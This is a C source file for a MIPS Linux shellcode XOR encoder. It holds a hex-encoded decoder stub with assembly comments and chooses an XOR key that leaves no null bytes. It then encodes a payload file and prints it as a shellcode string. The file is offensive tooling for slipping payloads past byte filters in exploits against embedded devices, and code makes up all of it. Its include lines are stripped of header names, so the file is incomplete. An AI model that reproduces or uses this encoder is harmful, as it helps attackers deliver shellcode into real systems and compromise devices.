#include #include #include #include #include #include #include #define DEBUG 0 /* * * entropy [at] phiral.net * mips (linux) shellcode xor encoder * * \xAB\xCD is overwritten with jmp back offset * \x00\x00 is overwritten with the byte its xored with * * 0. gcc encoder.c -o encoder * 1. perl -e 'print "\xsh\xel\xlc\xod\xe0";' > sc.bin * 2. ./encode * * can possibly get rid of \x24\x18\xf9\x9a to be -4 * * sup busyboxen :o * */ unsigned char encoder[] = "\x24\x18\xf9\x9a" /* li $t8, -0x666 */ "\x07\x10\xff\xff" /* p: bltzal $t8, p */ "\x28\x18\xff\xff" /* slti $t8, $zero, -1 */ "\x27\xe8\x10\x01" /* addu $t0, $ra, 4097 */ "\x25\x08\xAB\xCD" /* addu $t0, $t0, -4097+44+len+1 */ "\x3c\x09\x00\x00" /* lui $t1, 0xXXXX */ "\x35\x29\x00\x00" /* ori $t1, $t1, 0xXXXX */ "\x3c\x0b\x01\xe0" /* lui $t3, 0x01e0 */ "\x35\x6b\x78\x27" /* ori $t3, $t3, 0x7827 */ "\x8d\x0a\xff\xff" /* x: lw $t2, -1($t0) */ "\x01\x49\x60\x26" /* xor $t4, $t2, $t1 */ "\xad\x0c\xff\xff" /* sw $t4, -1($t0) */ "\x25\x08\xff\xfc" /* addu $t0, $t0, -4 */ "\x15\x4b\xff\xfb" /* bne $t2, $t3, -20 */ "\x01\xe0\x78\x27"; /* nor $t7, $t7, $zero */ int main(int argc, char **argv) { struct stat sstat; int a, i, n, fd, len, elen, xor_with; unsigned char *fbuf, *ebuf; unsigned char bad_bytes[256] = {0}; unsigned char good_bytes[256] = {0}; if (lstat("sc.bin", &sstat) < 0) { perror("lstat"); _exit(-1); } len = sstat.st_size; if ((fbuf = (unsigned char *)malloc(len)) == NULL) { perror("malloc"); _exit(-1); } if ((fd = open("sc.bin", O_RDONLY)) < 0) { perror("open"); _exit(-1); } if (read(fd, fbuf, len) != len) { perror("read"); _exit(-1); } close(fd); /* try every byte xored, if its \x0 add to bad_bytes */ for (n = 0; n < len; n++) { for (i = 1; i < 256; i++) { if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i; } } /* if its not a bad_byte its a good_one (ordered) */ for (i = 1, n = 0; i < 256; i++) { if (bad_bytes[i] == '\0') good_bytes[n++] = i; } srand((unsigned)time(NULL)); xor_with = good_bytes[rand()%n]; if (xor_with) { printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with); /* overwrite bytes 18, 19 with subtract addr */ /* 44 bytes to jmp past our asm + sc len + 1 */ a = -4097 + 44 + len + 1; encoder[18] = (char)(((int)a) >> 8); encoder[19] = (char)a; /* overwrite bytes 22, 23, 26, 27 of encoder */ encoder[22] = xor_with; encoder[23] = xor_with; encoder[26] = xor_with; encoder[27] = xor_with; elen = strlen((char *)encoder); if ((ebuf = (unsigned char *)malloc(elen+len+1)) == NULL) { perror("malloc"); _exit(-1); } memset(ebuf, '\x0', sizeof(ebuf)); memcpy(ebuf, encoder, sizeof(encoder)); for (i = 0; i < len; i++) { ebuf[(i+elen)] = xor_with^*(fbuf+i); } printf("[S] Shellcode: \n\""); for (i = 0; i < strlen((char *)ebuf); i++) { if (i > 0 && i % 4 == 0) printf("\"\n\""); printf("\\x%02x", ebuf[i]); } printf("\"\n\n"); } else { printf("[*] No byte found to XOR with :(\n"); _exit(-1); } return 0; }

Query Builder